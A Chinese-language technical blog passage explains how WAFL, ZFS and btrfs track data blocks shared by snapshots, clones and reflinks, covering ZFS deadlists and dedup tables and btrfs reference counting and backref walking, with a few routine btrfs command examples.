WAFL 早期記錄快照佔用數據塊的思路從表面上來看也很「暴力」,傳統文件系統一般有個叫做「位圖(bitmap )」的數據結構,用一個二進制位記錄一個數據塊是否佔用,靠掃描位圖來尋找可用空間和已用空間。 WAFL 的設計早期中考慮既然需要支持快照,那就把記錄數據塊佔用情況的位圖,變成快照的數組。 於是整個文件系統有個 256 大小的快照利用率數組,數組中每個快照記錄自己佔用的數據塊位圖, 文件系統中最多能容納 255 個快照。
上面每個單元格都是一個二進制位,表示某個快照有沒有引用某個數據塊。有這樣一個位圖的數組之後, 就可以直接掃描位圖判斷出某個數據塊是否已經佔用,可以找出尚未被佔用的數據塊用作空間分配, 也可以方便地計算每個快照引用的空間大小或者獨佔的空間大小,估算刪除快照後可以釋放的空間。
需要注意的是,文件系統中可以有非常多的塊,從而位圖數組比位圖需要更多的元數據來表達。 比如估算一下傳統文件系統中一塊可以是 4KiB 大小,那麼跟蹤空間利用的位圖需要 1bit/4KiB , 1TiB 的盤就需要 32MiB 的元數據來存放位圖; 而 WAFL 這種位圖數組即便限制了快照數量只能有255個,仍需要 256bit/4KiB 的空間開銷, 1TiB 的盤需要的元數據開銷陡增到 8GiB ,這些還只是單純記錄空間利用率的位圖數組,不包括別的元數據。
使用這麼多元數據表示快照之後,創建快照的開銷也相應地增加了,需要複製整個位圖來創建一個新的快照, 按上面的估算 1TiB 的盤可能需要複製 32MiB 的位圖,這不再是一瞬能完成的事情, 期間可能需要停下所有對文件系統的寫入等待複製完成。 位圖數組在存儲設備上的記錄方式也很有講究,當刪除快照時希望能快速讀寫上圖中的一整行位圖, 於是可能希望每一行位圖的存儲方式在磁盤上都儘量連續, 而在普通的寫入操作需要分配新塊時,想要按列的方式掃描位圖數組,找到沒有被快照佔用的塊, 從而上圖中按列的存儲表達也希望在磁盤上儘量連續。 WAFL 的設計工程師們在位圖數組的思路下,實現了高效的數據結構讓上述兩種維度的操作都能快速完成, 但是這絕不是一件容易的事情。
位圖數組的表達方式也有其好處,比如除了快照之外,也可以非常容易地表達類似 ZFS 的克隆和獨立的文件系統這樣的概念,這些東西和快照一樣,佔用僅有的 256 個快照數量限制。 這樣表達的克隆可以有數據塊和別的文件系統共享,文件系統之間也可以有類似 reflink 的機制共享數據塊,在位圖數組的相應位置將位置1即可。
使用位圖數組的做法,也只是 WAFL 早期可能採用的方式,由於 WAFL 本身是閉源產品, 難以獲知它具體的工作原理。哈佛大學和 NetApp 的職員曾經在 FAST10 (USENIX Conference on File and Storage Technologies) 上發表過一篇講解高效跟蹤和使用 back reference 的論文,叫 Tracking Back References in a Write-Anywhere File System ,可以推測在新一代 WAFL 的設計中可能使用了類似 btrfs backref 的實現方式,接下來會詳細介紹。
OpenZFS 的項目領導者,同時也是最初設計 ZFS 中 DMU 子系統的作者 Matt Ahrens 在 DMU 和 DSL 中設計並實現了 ZFS 獨特的快照的空間跟蹤算法。他也在很多地方發表演講,講過這個算法的思路和細節, 比如右側就是他在 BSDCan 2019 做的演講 How ZFS snapshots really work And why they perform well (usually) 的 YouTube 視頻。
其中 Matt 講到了三個刪除快照的算法,分別可以叫做「🐢烏龜算法」、「🐰兔子算法」、「🐆豹子算法」, 接下來簡單講講這些算法背後的思想和實現方式。
烏龜算法沒有實現在 ZFS 中,不過方便理解 ZFS 在概念上如何考慮快照刪除這個問題,從而幫助理解 後面的🐰兔子算法和🐆豹子算法。
要刪除一個快照, ZFS 需要找出這個快照引用到的「獨佔」數據塊,也就是那些不和別的數據集或者快照共享的 數據塊。 ZFS 刪除快照基於這幾點條件:
第三點關於 reflink 造成的數據復活現象可能需要解釋一下,比如在(支持 reflink 的) btrfs 中有如下操作:
btrfs subvolume snapshot -r fs s1
rm fs/somefile
btrfs subvolume snapshot -r fs s2
cp --reflink=always s1/somefile fs/somefile
btrfs subvolume snapshot -r fs s3
我們對 fs 創建了 s1 快照,刪除了 fs 中某個文件,創建了 s2 快照,然後用 reflink 把剛剛刪除的文件從 s1 中複製出來,再創建 s3 。如此操作之後,按時間順序有 s1、s2、s3 三個快照:
其中只有 s2 不存在 somefile ,而 s1 、 s3 和當前的 fs 都有,並且都引用到了同一個數據塊。 於是從時間線來看, somefile 的數據塊在 s2 中「死掉」了,又在 s3 中「復活」了。
而 ZFS (目前還)不支持 reflink ,所以沒法像這樣讓數據塊復活。一旦某個數據塊在某個快照中「死」了, 就意味着它在隨後的所有快照中都不再被引用到了。
ZFS 的快照具有的上述三點條件,使得 ZFS 的快照刪除算法可以基於 birth time 。回顧上面 ZFS 的塊指針 中講到, ZFS 的每個塊指針都有一個 birth txg 屬性,記錄這個塊誕生時 pool 所在的 txg 。於是可以根據這個 birth txg 找到快照所引用的「獨佔」數據塊然後釋放掉它們。
具體來說,🐢烏龜算法可以這樣刪除一個快照:
上述算法的一些邊角情況可以自然地處理,比如沒有後一個快照時使用當前數據集的寫入點, 沒有前一個快照時那麼不被後一個快照引用的數據塊都是當前要刪除快照的獨佔數據塊。
分析一下烏龜算法的複雜度的話,算法需要分兩次,讀 s 和 ns 中引用到的所有 ps 之後創建的數據塊的指針,重要的是這些讀都是在整個文件系統範圍內的隨機讀操作,所以速度非常慢……
可以粗略地認爲🐢烏龜算法算是用 birth txg 優化代碼路徑的 GC 算法,利用了一部分元數據中的 birth txg 信息來避免掃描所有元數據,但是概念上仍然是在掃描元數據找出快照的獨佔數據塊, 而非記錄和跟蹤快照的數據塊,在最壞的情況下仍然可能需要掃描幾乎所有元數據。
🐰兔子算法基於🐢烏龜算法的基本原理,在它基礎上跟蹤快照所引用數據塊的一些信息, 從而很大程度上避免了掃描元數據的開銷。ZFS 在早期使用這個算法跟蹤數據集和快照引用數據塊的情況。
🐰兔子算法爲每個數據集(文件系統或快照)增加了一個數據結構,叫死亡列表(dead list), 記錄 前一個快照中還活着,而當前數據集中死掉了的數據塊指針 ,換句話說就是在本數據集中「殺掉」的數據塊。舉例畫圖大概是這樣
上圖中有三個快照和一個文件系統,共 4 個數據集。每個數據集維護自己的死亡列表, 死亡列表中是那些在該數據集中被刪掉的數據塊。於是🐰兔子算法把🐢烏龜算法所做的操作分成了兩部分, 一部分在文件系統刪除數據時記錄死亡列表,另一部分在刪除快照時根據死亡列表釋放需要釋放的塊。
在當前文件系統刪除數據塊(不再被當前文件系統引用)時,負責比對 birth txg 維護當前文件系統的死亡列表。每刪除一個數據塊,指針爲 bp 時,判斷 bp.birth 和文件系統最新的快照(上圖爲 s3)的 birth:
創建新快照時,將當前文件系統(圖中 fs1)的死亡列表交給快照,文件系統可以初始化一個空列表。
刪除快照時,我們有被刪除的快照 s 和前一個快照 ps 、後一個快照 ns ,需要讀入當前快照 s 和後一個快照 ns 的死亡列表:
換個說法的話, 死亡列表記錄的是每個數據集需要負責刪除,但因爲之前的快照還引用着所以不能刪除的數據塊列表 。從當前文件系統中刪除一個數據塊時,這個職責最初落在當前文件系統身上,隨後跟着創建新快照職責被轉移到新快照上。 每個負責的數據集根據數據塊的出生時間是否早於之前一個快照來判斷現在是否能立刻釋放該塊, 刪除一個快照時則重新評估自己負責的和下一個快照負責的數據塊的出生時間。
從所做的事情來看,🐰兔子算法並沒有比🐢烏龜算法少做很多事情。🐢烏龜算法刪除一個快照, 需要遍歷當前快照和後一個快照兩組數據塊指針中,新寫入的部分; 🐰兔子算法則需要遍歷當前快照和後一個快照兩個死亡列表中,新刪除的塊指針。 但是實際🐰兔子算法能比🐢烏龜算法快不少,因爲維護死亡列表的操作只在文件系統刪除數據時和刪除快照時, 順序寫入,並且刪除快照時也只需要順序讀取死亡列表。在磁盤這種塊設備上,順序訪問能比隨機訪問有數量級的差異。
不過記錄死亡列表也有一定存儲開銷。最差情況下,比如把文件系統寫滿之後,創建一個快照, 再把所有數據都刪掉,此時文件系統引用的所有數據塊的塊指針都要保存在文件系統的死亡列表中。 按 ZFS 默認的 128KiB 數據塊大小,每塊需要 128 字節的塊指針,存儲這些死亡列表所需開銷可能要 整個文件系統大小的 1/1024 。如果用 4KiB 的數據塊大小,所需開銷則是 1/32 , 1TiB 的盤會有 32GiB 拿來存放這些塊指針,將高於用位圖數組所需的存儲量。
🐆豹子算法是 ZFS 後來在 2009 年左右實現的算法。在🐰兔子算法中就可以看到,每次刪除快照操作死亡列表的時候, 都需要掃描死亡列表中的塊指針,根據指針中記錄的 birth txg 做判斷是否能直接釋放或是需要保留到另一個快照的死亡列表。 於是🐆豹子算法的思路是,在死亡列表中記錄塊指針時,就把其中的塊指針按 birth txg 分成子列表(sublist)。
比如上面🐰兔子算法中那4個死亡列表,可以這樣拆成子列表:
這樣拆成子列表之後,每次從死亡列表中釋放數據塊都能根據出生時間找到對應的子列表, 然後連續釋放整個子列表。每次合併死亡列表時,也能直接用單鏈表穿起需要合併的子列表,不需要複製塊指針。
死亡列表並不在跟蹤快照的獨佔大小,而是在跟蹤快照所需負責刪除的數據塊大小, 從這個數值可以推算出快照的獨佔大小之類的信息。 有了按出生時間排列的死亡列表子列表之後,事實上給任何一個出生時間到死亡時間的範圍, 都可以找出對應的幾個子列表,從而根據子列表的大小可以快速計算出每個快照範圍的「獨佔」數據塊、 「共享」數據塊等大小,這不光在刪除快照時很有用,也可以用來根據大小估算 zfs send 或者別的基於快照操作時需要的時間。
從直覺上理解,雖然 ZFS 沒有直接記錄每個數據塊屬於哪個數據集,但是 ZFS 跟蹤記錄了每個數據塊的歸屬信息,也就是說由哪個數據集負責釋放這個數據塊。 在文件系統中刪除數據塊或者快照時,這個歸屬信息跟着共享數據塊轉移到別的快照中,直到最終被釋放掉。
以上三種算法負責在 ZFS 中跟蹤快照的空間佔用,它們都基於數據塊的誕生時間,所以都假設 ZFS 中對數據塊的分配是位於連續的快照時間軸上。但是明顯 ZFS 除了快照和文件系統, 還有另一種數據集可能分配數據塊,那就是 克隆 ,於是還需要在克隆中使用不同的算法單獨管理因克隆而分配的數據塊。 OpenZFS Summit 2017 有個演講 Fast Clone Deletion by Sara Hartse 解釋了其中的細節。
首先克隆的存在本身會鎖住克隆引用到的快照,不能刪除這些被依賴的快照, 所以克隆無須擔心靠快照共享的數據塊的管理問題。因此克隆需要管理的,是從快照分離之後, 新創建的數據塊。
和🐢烏龜算法一樣,原理上刪除克隆的時候可以遍歷克隆引用的整個 DMU 對象集,找出其中晚於快照的誕生時間的數據塊,然後釋放它們。也和🐢烏龜算法一樣, 這樣掃描整個對象集的開銷很大,所以使用一個列表來記錄數據塊指針。 克隆管理新數據塊的思路和快照的🐰兔子算法維持死亡列表的思路相反, 記錄所有新誕生的數據塊,這個列表叫做「生存日誌(livelist)」。
克隆不光要記錄新數據塊的誕生,還要記錄新數據塊可能的死亡,所以磁盤上保存的生存日誌雖然叫 livelist ,但不像死亡列表那樣是列表的形式,而是日誌的形式,而內存中保存的生存日誌則組織成了棵 自平衡樹(AVLTree) 來加速查找。
磁盤上存儲的生存日誌如上圖,每個表項記錄它是分配(A)或者刪除(F)一個數據塊,同時記錄數據塊的地址。 這些記錄在一般情況下直接記錄在日誌末尾,隨着對克隆的寫入操作而不斷增長,長到一定程度則從內存中的 AVL Tree 直接輸出一個新的生存日誌替代掉舊的,合併其中對應的分配和刪除操作。
生存日誌可以無限增長,從而要將整個生存列表載入內存也有不小的開銷,這裏的解決方案有點像快照管理中用 🐆豹子算法改進🐰兔子算法的思路,把一個克隆的整個生存日誌也按照數據塊的誕生時間拆分成子列表。 Sara Hartse 的演講 Fast Clone Deletion 中繼續解釋了其中的細節和優化方案,感興趣的可以看看。
理解了 ZFS 中根據 birth txg 管理快照和克隆的算法之後,可以發現它們基於的假設難以用於 WAFL 和 btrfs 。 ZFS 嚴格區分文件系統、快照、克隆,並且不存在 reflink ,從而可以用 birth txg 判斷數據塊是否需要保留,而 WAFL 和 btrfs 中不存在 ZFS 的那些數據集分工,又想支持 reflink ,可見單純基於 birth txg 不足以管理 WAFL 和 btrfs 子卷。
讓我們回到一開始日誌結構文件系統中基於垃圾回收(GC)的思路上來,作爲程序員來看, 當垃圾回收的性能不足以滿足當前需要時,大概很自然地會想到:引用計數(reference counting)。 編程語言中用引用計數作爲內存管理策略的缺陷是:強引用不能成環, 這在文件系統中看起來不是很嚴重的問題,文件系統總體上看是個樹狀結構,或者就算有共享的數據也是個 上下層級分明的有向圖,很少會使用成環的指針,以及文件系統記錄指針的時候也都會區分指針的類型, 根據指針類型可以分出強弱引用。
btrfs 中就是用引用計數的方式跟蹤和管理數據塊的。引用計數本身不能保存在 FS_TREE 或者指向的數據塊中,因爲這個計數需要能夠變化,對只讀快照來說整個 FS_TREE 都是只讀的。 所以這裏增加一層抽象, btrfs 中關於數據塊的引用計數用一個單獨的 CoW B樹來記錄,叫做 EXTENT_TREE ,保存於 ROOT_TREE 中的 2 號對象位置。
btrfs 中每個塊都是按 區塊(extent) 的形式分配的,區塊是一塊連續的存儲空間,而非 zfs 中的固定大小。每個區塊記錄存儲的位置和長度, 以及這裏所說的引用計數。所以本文最開始講 Btrfs 的子卷和快照 中舉例的那個平坦佈局,如果畫上 EXTENT_TREE 大概像是下圖這樣,其中每個粗箭頭是一個區塊指針,指向磁盤中的邏輯地址,細箭頭則是對應的 EXTENT_TREE 中關於這塊區塊的描述:
chattr +C
關閉了 CoW 的文件的處理這裏從 EXTENT_TREE 的記錄可以看出,每個區塊都有引用計數記錄。對用
chattr +C
關閉了 CoW 的文件而言,文件數據同樣還是有引用計數,可以和別的文件或者快照共享文件數據的。
這裏的特殊處理在於,每次寫入一個 nocow 的文件的時候,考察這個文件指向區塊的引用計數,
如果引用計數 >1 ,表示這個文件的區塊發生過 reflink ,那會對文件內容做一次 CoW 斷開
reflink 並寫入新位置;如果引用計數 =1 ,那麼直接原地寫入文件內容而不 CoW 。於是
nocow 的文件仍然能得到 reflink 和 snapshot 的功能,
使用這些功能仍然會造成文件碎片並伴隨性能損失,只是在引用計數爲 1 的時候不發生 CoW 。
包括 ROOT_TREE 和 EXTENT_TREE 在內,btrfs 中所有分配的區塊(extent)都在 EXTENT_TREE 中有對應的記錄,按區塊的邏輯地址索引。從而給定一個區塊,能從 EXTENT_TREE 中找到 ref 字段描述這個區塊有多少引用。不過 ROOT_TREE 、 EXTENT_TREE 和別的一些 pool-wide 數據結構本身不依賴引用計數的,這些數據結構對應的區塊的引用計數總是 1 ,不會和別的樹共享區塊;從 FS_TREE 開始的所有樹節點都可以共享區塊,這包括所有子卷的元數據和文件數據,這些區塊對應的引用計數可以大於 1 表示有多處引用。
EXTENT_TREE 按區塊的邏輯地址索引,記錄了起始地址和長度,所以 EXTENT_TREE 也兼任 btrfs
的空間利用記錄,充當別的文件系統中 block bitmap 的職責。比如上面例子中的 extent_tree 就表示
[0x2000,0x4000) [0x11000,0x16000)
這兩段連續的空間是已用空間,
剩下的空間按定義則是可用空間。爲了加速空間分配器, btrfs 也有額外的
free space cache 記錄在 ROOT_TREE 的 10 號位置 free_space_tree 中,不過在 btrfs
中這個 free_space_tree 記錄的信息只是緩存,必要時可以通過
btrfs check --clear-space-cache
扔掉這個緩存重新掃描 extent_tree 並重建可用空間記錄。
比如我們用如下命令創建了兩個文件,通過 reflink 讓它們共享區塊,然後創建兩個快照, 然後刪除文件系統中的 file2 :
write fs/file1
cp --reflink=always fs/file1 fs/file2
btrfs subvolume snapshot fs sn1
btrfs subvolume snapshot fs sn2
rm fs/file2
經過以上操作之後,整個 extent_tree 的結構中記錄的引用計數大概如下圖所示:
上圖簡化了一些細節,實際上每個文件可以引用多個區塊(文件碎片), 其中每個對區塊的引用都可以指明引用到具體某個區塊記錄的某個地址偏移和長度, 也就是說文件引用的區塊可以不是區塊記錄中的一整個區塊,而是一部分內容。
圖中可見,整個文件系統中共有5個文件路徑可以訪問到同一個文件的內容,分別是
sn1/file1, sn1/file2, sn2/file1, sn2/file2, fs/file1
,
在 extent_tree 中, sn1 和 sn2 可能共享了一個 B樹 葉子節點,這個葉子節點的引用計數爲 2
,然後每個文件的內容都指向同一個 extent ,這個 extent 的引用計數爲 3 。
刪除子卷時,通過引用計數就能準確地釋放掉子卷所引用的區塊。具體算法挺符合直覺的:
大體思路挺像上面介紹的 ZFS 快照刪除的🐢烏龜算法
,只不過根據引用計數而非 birth txg 判斷是否獨佔數據塊。性能上說, btrfs
的B樹本身內容就比較緊湊,FS_TREE 一個結構就容納了文件 inode 和引用的區塊信息,
EXTENT_TREE 按地址排序也比較緊湊,所以刪除算法的隨機讀寫不像 ZFS 的🐢烏龜算法那麼嚴重,
實際實現代碼裏面也可能通過 btrfs generation 做一些類似基於 birth txg 優化的快速代碼路徑。
即便如此,掃描 FS_TREE 仍然可能需要耗時良久,這個遞歸的每一步操作都會記錄在 ROOT_TREE
中專門的結構,也就是說刪除一個子卷的操作可以執行很長時間並跨越多個 pool commit 。
btrfs subvolume delete
命令默認也只是記錄下這個刪除操作,然後就返回一句類似:
Delete subvolume (no-commit): /subvolume/path
的輸出,不會等刪除操作執行結束。
相比之下 ZFS 那邊刪除一個快照或文件系統必須在一個 txg 內執行完,沒有中間過程的記錄,
所以如果耗時很久會影響整個 pool 的寫入,於是 ZFS 那邊必須對這些操作優化到能在一個 txg
內執行完的程度(摧毀克隆方面
ZFS 還有 async_destroy 優化
可能有些幫助)。
只需要引用計數就足夠完成快照的創建、刪除之類的功能,也能支持 reflink 了(仔細回想, reflink 其實就是 reference counted link 嘛),普通讀寫下也只需要引用計數。 但是只有引用計數不足以知道區塊的歸屬,不能用引用計數統計每個子卷分別佔用多少空間, 獨佔多少區塊而又共享多少區塊。上面的例子就可以看出,所有文件都指向同一個區塊,該區塊的引用計數爲 3 ,而文件系統中一共有 5 個路徑能訪問到該文件。可見從區塊根據引用計數反推子卷歸屬信息不是那麼一目瞭然的。
單純從區塊的引用計數難以看出整個文件系統所有子卷中有多少副本。 也就是說單有引用計數的一個數字還不夠,需要記錄具體反向的從區塊往引用源頭指的引用,這種結構在 btrfs 中叫做「反向引用(back reference,簡稱 backref)」。所以在上圖中每一個指向 EXTENT_TREE 的單向箭頭,在 btrfs 中都有記錄一條反向引用,通過反向引用記錄能反過來從被指針指向的位置找回到記錄指針的地方。
反向引用(backref)是 btrfs 中非常關鍵的機制,在 btrfs kernel wiki 專門有一篇頁面 Resolving Extent Backrefs 解釋它的原理和實現方式。
對上面的引用計數的例子畫出反向引用的指針大概是這樣:
EXTENT_TREE 中每個 extent 記錄都同時記錄了引用到這個區塊的反向引用列表。反向引用有兩種記錄方式:
有兩種記錄方式是因爲它們各有性能上的優缺點:
普通反向引用: | 因爲通過對象編號記錄,所以當樹節點 CoW 改變了地址時不需要調整地址, 從而在普通的讀寫和快照之類的操作下有更好的性能, 但是在解析反向引用時需要額外一次樹查找。 同時因爲這個額外查找,普通反向引用也叫間接反向引用。 |
---|---|
共享反向引用: | 因爲直接記錄了邏輯地址,所以當這個地址的節點被 CoW 的時候也需要調整這裏記錄的地址。 在普通的讀寫和快照操作下,調整地址會增加寫入從而影響性能,但是在解析反向引用時更快。 |
通常通過普通寫入、快照、 reflink 等方式創建出來的引用是普通反向引用, 由於普通反向引用記錄了包含它的B樹,從而可以說綁在了某棵樹比如某個子卷上, 當這個普通反向引用指向的對象不再存在,而這個反向引用還在通過別的途徑共享時, 這個普通反向引用會轉換共享反向引用;共享反向引用在存在期間不會變回普通反向引用。
比如上圖反向引用的例子中,我們先假設所有畫出的反向引用都是普通反向引用,於是圖中標爲 file1 引用數爲 3 的那個區塊有 3 條反向引用記錄,其中前兩條都指向 sn1 裏面的文件,分別是 sn1/file1 和 sn1/file2 ,然後 sn1 和 sn2 共享了 FS_TREE 的葉子節點。
假設這時我們刪除 sn1/file2,執行了代碼
rm sn1/file2
之後:
那麼 sn1 會 CoW 那個和 sn2 共享的葉子節點,有了新的屬於 sn1 的葉子,從而斷開了原本 file1 中對這個共享葉子節點的兩個普通反向引用,轉化成共享反向引用(圖中用虛線箭頭描述), 並且插入了一個新的普通反向引用指向新的 sn1 的葉子節點。
有了反向引用記錄之後,可以給定一個邏輯地址,從 EXTENT_TREE 中找到地址的區塊記錄, 然後從區塊記錄中的反向引用記錄一步步往回遍歷,直到遇到 ROOT_TREE ,最終確定這個邏輯地址的區塊在整個文件系統中有多少路徑能訪問它。 這個遍歷反向引用的操作,在 btrfs 文檔和代碼中被稱作 backref walking 。
比如還是上面的反向引用圖例中 sn1 和 sn2 完全共享葉子節點的那個例子,通過 backref walking ,我們能從 file1 所記錄的 3 個反向引用,推出全部 5 個可能的訪問路徑。
backref walking 作爲很多功能的基礎設施,從 btrfs 相當早期(3.3內核)就有,很多 btrfs 的功能實際依賴 backref walking 的正確性。列舉一些需要 backref walking 來實現的功能:
qgroup
btrfs 的子卷沒有記錄子卷的磁盤佔用開銷,靠引用計數來刪除子卷, 所以也不需要詳細統計子卷的空間佔用情況。不過對一些用戶的使用場景,可能需要統計子卷空間佔用。由於 可能存在的共享元數據和數據,子卷佔用不能靠累計加減法的方式算出來,所以 btrfs 有了 qgroup 和 quota 功能,用來統計子卷或者別的管理粒度下的佔用空間情況。爲了實現 qgroup ,需要 backref walking 來計算區塊共享的情況。
send
btrfs send 在計算子卷間的差異時,也通過 backref walking 尋找能靠 reflink 共享的區塊,從而避免傳輸數據。
balance/scrub
balance 和 scrub 都會調整區塊的地址,通過 backref walking 能找到所有引用到這個地址的位置並正確修改地址。
check
當需要打印診斷信息的時候,除了提供出錯的數據所在具體地址之外,通過 backref walking 也能提供受影響的文件路徑之類的信息。
可見 backref walking 的能力對 btrfs 的許多功能都非常重要(不像 ZPL 的 dnode 中記錄的 parent dnode 那樣只用於診斷信息 )。不過 backref walking 根據區塊共享的情況的不同,也可能導致挺大的運行期開銷,包括算法時間上的和內存佔用方面的開銷。 比如某個子卷中有 100 個文件通過 reflink 共享了同一個區塊,然後對這個子卷做了 100 個快照, 那麼對這一個共享區塊的 backref walking 結果可能解析出 10000 個路徑。可見隨着使用 reflink 和快照, backref walking 的開銷可能爆炸式增長。最近 btrfs 郵件列表也有一些用戶彙報,在大量子卷 和通過 reflink 做過 dedup 的 btrfs 文件系統上 send 快照時,可能導致內核分配大量內存甚至 panic 的情形,在 5.5 內核中 btrfs send 試圖控制 send 時 clone reference 的數量上限來緩解這種邊角問題。
值得再強調的是,在沒有開啓 qgroup 的前提下,正常創建刪除快照或 reflink ,正常寫入和覆蓋區塊之類的文件系統操作,只需要引用計數就足夠,雖然可能需要調整反向引用記錄( 尤其是共享反向引用的地址),但是不需要動用 backref walking 這樣的重型武器。
上面討論 ZFS 的快照和克隆如何跟蹤數據塊時,故意避開了 ZFS 的 dedup 功能,因爲要講 dedup 可能需要先理解引用計數在文件系統中的作用,而 btrfs 正好用了引用計數。 於是我們再回來 ZFS 這邊,看看 ZFS 的 dedup 是具體如何運作的。
稍微瞭解過 btrfs 和 ZFS 兩者的人,或許有不少 btrfs 用戶都眼饞 ZFS 有 in-band dedup 的能力,可以在寫入數據塊的同時就去掉重複數據,而 btrfs 只能「退而求其次」地選擇第三方 dedup 方案,用外部工具掃描已經寫入的數據,將其中重複的部分改爲 reflink 。又或許有不少 btrfs 用戶以爲 zfs 的 dedup 就是在內存和磁盤中維護一個類似 Bloom filter 的結構,然後根據結果對數據塊增加 reflink ,從而 zfs 內部大概一定有類似 reflink 的設施,進一步質疑爲什麼 btrfs 還遲遲沒有實現這樣一個 Bloom filter 。 或許還有從 btrfs 轉移到 ZFS 的用戶有疑惑, 爲什麼 ZFS 還沒有暴露出 reflink 的用戶空間接口 ,或者既然 ZFS 已經有了 dedup , 能不能臨時開關 dedup 來提供類似 reflink 式的共享數據塊 而避免 ZFS 長期開 dedup 導致的巨大性能開銷。
看過上面 ZFS 中關於快照和克隆的空間跟蹤算法 之後我們會發現,其實 ZFS 中並沒有 能對應 btrfs reflink 的功能,而是根據數據塊指針中的 birth txg 來跟蹤快照和克隆的共享數據塊的。這引來更多疑惑:
ZFS 是在 Sun/OpenSolaris 壽命相當晚期的 2009 年獲得的 dedup 功能,就在 Oracle 收購 Sun ,OpenSolaris 分裂出 Illumos 從而 ZFS 分裂出 Oracle ZFS 和 OpenZFS 的時間點之前。因此 關於 ZFS dedup 如何實現的文檔相對匱乏 ,大部分介紹 ZFS 的文檔或者教程會講到 ZFS dedup 的用法,但是對 dedup 的實現細節、性能影響、乃至使用場景之類的話題就很少提了(甚至很多教程講了一堆用法之後說類似, 「我評估之後覺得我不需要開 dedup ,你可以自己評估一下」這樣的建議)。
OpenZFS Summit 2017 上 Matt 有個演講,主要內容關於今後如何改進 dedup 性能的計劃,其中講到的計劃還沒有被具體實現,不過可以窺探一下 dedup 現在在 ZFS 中是如何工作的。 Chris 的博客也有兩篇文章《 What I can see about how ZFS deduplication seems to work on disk 》和《 An important addition to how ZFS deduplication works on the disk 》介紹了他對此的認識,在這裏我也嘗試來總結一下 ZFS dedup 特性如何工作。
ZFS dedup 是存儲池級別(pool-wide)開關的特性,所以大概在 MOS 之類的地方有存儲一個特殊的數據結構, 叫 DeDup Table 簡稱 DDT 。DDT 目前是存儲設備上的一個 hash table ,因爲是存儲池級別的元數據, 所以在 ZFS 中存儲了三份完全一樣的 DDT ,DDT 的內容是大概如下結構:
Checksum | DVA(Data Virtual Address) | Refcount |
---|---|---|
0x12345678 | vdev=1 addr=0x45671234 | 3 |
0x5678efab | vdev=2 addr=0x37165adb | 0 |
0x98765432 | vdev=1 addr=0xac71be12 | 1 |
0xabcd1234 | vdev=0 addr=0xc1a2231d | 5 |
... ... | ... ... | ... ... |
DDT 中對每個數據塊存有3個東西:數據塊的 checksum 、DVA (就是 ZFS 的塊指針 中的 DVA)和引用計數。在存儲池開啓 dedup 特性之後,每次新寫入一個數據塊,都會先計算出數據塊的 checksum ,然後查找 DDT ,存在的話增加 DDT 條目的引用計數,不存在的話插入 DDT 條目。每次釋放一個數據塊,同樣需要查找 DDT 調整引用計數。
除了 DDT 之外,文件系統中記錄的塊指針中也有個特殊標誌位記錄這個塊是否經過了 DDT 。讀取數據不需要經過 DDT ,但是子卷、克隆或者文件系統正常刪除數據塊的時候, 需要根據塊指針中的標誌位判斷是否需要檢查和調整 DDT 。
從而關於 dedup 的實現可以得知以下一些特點:
從直覺上可以這樣理解:在 ZFS 中每個數據塊都有其「歸屬」,沒有 dedup 的時候,數據塊歸屬於某個數據集(文件系統、快照、克隆), 該數據集需要負責釋放該數據塊或者把從屬信息轉移到別的數據集(快照)上。 而在開啓 dedup 期間,產生的寫入的數據塊實際歸屬於 DDT 而不是任何一個數據集,數據集需要查詢和調整 DDT 中記錄的引用計數來決定是否能釋放數據塊。
乍看起來 DDT 貌似挺像 btrfs 的 EXTENT_TREE ,但是本質上 EXTENT_TREE 是根據區塊地址排序的, 而 DDT 因爲是個 hashtable 所以是根據 checksum 排序的。並且 EXTENT_TREE 中記錄的區塊可以是任意大小,而 DDT 中記錄的數據塊是固定大小的,所以碎片不嚴重的情況下 DDT 要比 EXTENT_TREE 多記錄很多數據塊。這些區別都非常影響操作 DDT 時的性能。
DDT 本身是個 DMU 對象,所以對 DDT 的讀寫也是經過 DMU 的 CoW 讀寫,從而也經過 ARC 的緩存。想要有比較合理的 dedup 性能,需要整個 DDT 都儘量保持在內存 ARC 或者 L2ARC 緩存中, 於是 dedup 特性也有了非常佔用內存的特點。每個 DDT 表項需要大概 192 字節來描述一個( 默認 128KiB 大小的)數據塊,由此可以估算一下平均每 2TiB 的數據需要 3GiB 的內存來支持 dedup 的功能。
Matt 的視頻中後面講到優化 ZFS dedup 的一些思路,大體上未來 ZFS 可以做這些優化:
這些優化策略目的是想讓 dedup 的性能損失能讓更多使用場景接受。不過因爲缺乏開發者意願, 目前這些策略還只是計劃,沒有實現在 ZFS 的代碼中。
因爲以上特點, ZFS 目前 dedup 特性的適用場景極爲有限,只有在 IO 帶寬、內存大小都非常充裕, 並且可以預見到很多重複的數據的時候適合。聽說過的 ZFS dedup 的成功案例是,比如提供虛擬機服務的服務商,在宿主文件系統上用 ZFS 的 zvol 寄宿虛擬機的磁盤鏡像,客戶在虛擬機內使用其它文件系統。大部分客戶可能用類似版本的操作系統, 從而宿主機整體來看有很多 dedup 的潛質。不過這種應用場景下,服務商很可能偏向選擇 CephFS 這樣的分佈式文件系統提供虛擬機鏡像存儲,而不是 ZFS 這樣侷限在單系統上的本地文件系統。
btrfs 目前沒有內建的 dedup 支持,但是因爲有 reflink 所以可以通過第三方工具在事後掃描文件塊來實現 dedup 。這一點乍看像是某種將就之策,實際上瞭解了 ZFS dedup 的實現之後可以看出這個狀況其實更靈活。
在 btrfs 中實現 in-band dedup 本身不算很複雜,增加一個內存中的 bloom filter 然後按情況插入 reflink 的正常思路就夠了。在 btrfs kernel wiki 中有篇筆記 提到已經有了實驗性的 in-band dedup 內核支持的實現。這個實現已經越來越成熟,雖然還有諸多使用限制, 不過實現正確性上問題不大,遲遲沒有辦法合併進主線內核的原因更多是性能上的問題。
如果 btrfs 有了 in-band dedup 這樣系統性的 dedup 方案,那麼不可避免地會增加文件系統中使用 reflink 的數量。這將會暴露出 backref walking 這樣的基礎設施中許多潛在的邊角情況下的性能瓶頸。 前面解釋過 backref walking 操作是個挺大開銷的操作,並且開銷隨着快照和 reflink 的使用而爆炸式增長。直到最近的 btrfs 更新仍然在試圖優化和改善現有 backref walking 的性能問題,可以預測 btrfs 的內建 dedup 支持將需要等待這方面更加成熟。
不知不覺圍繞 btrfs 和 zfs 的快照功能寫了一大篇,前前後後寫了一個半月, 文中提及的很多細節我自己也沒有自信,如果有錯誤還請指出。
稍微列舉一些我覺得比較重要的結論,算是 TL;DR 的 takeaway notes 吧:
最後關於 ZFS 沒有 reflink 也沒有反向引用的情況,想引用幾段話。
